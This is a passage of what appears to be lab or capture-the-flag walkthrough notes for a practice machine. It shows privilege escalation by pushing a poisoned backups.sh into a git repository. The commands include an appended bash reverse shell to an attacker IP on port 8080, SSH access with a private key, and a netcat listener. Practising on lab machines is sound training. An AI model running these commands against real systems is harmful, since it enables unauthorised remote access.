8080

find / -type d -name git-server -print 2>/dev/null
git clone file:///git-server/
git config --global user.name "dademola"
git config --global user.email "dademola@hunit.(none)"
echo "ping -c 5 192.168.45.212" >> backups.sh
chmod +x backups.sh
git add .
git commit -m "pwn"
git push origin master

Now trying as git user

Now we can try logging in as git user:

ssh -i id_rsa git@192.168.190.125 -p 43022

Its a git-shell. Using https://stackoverflow.com/questions/4565700/how-to-specify-the-private-ssh-key-to-use-when-executing-shell-command-on-git

GIT_SSH_COMMAND='ssh -i id_rsa -p 43022' git clone git@192.168.120.204:/git-server
echo "sh -i >& /dev/tcp/192.168.45.212/8080 0>&1" >> backups.sh
chmod +x backups.sh
git config --global user.name "kali"
git config --global user.email "kali@kali.(none)"
git add .
git commit -m "pwned"
GIT_SSH_COMMAND='ssh -i ~/Documents/PG_Practice/hunit/id_rsa -p 43022 -o IdentitiesOnly=yes' git push origin master

Now running a listener:

sudo rlwrap nc -nlvp 8080

Last updated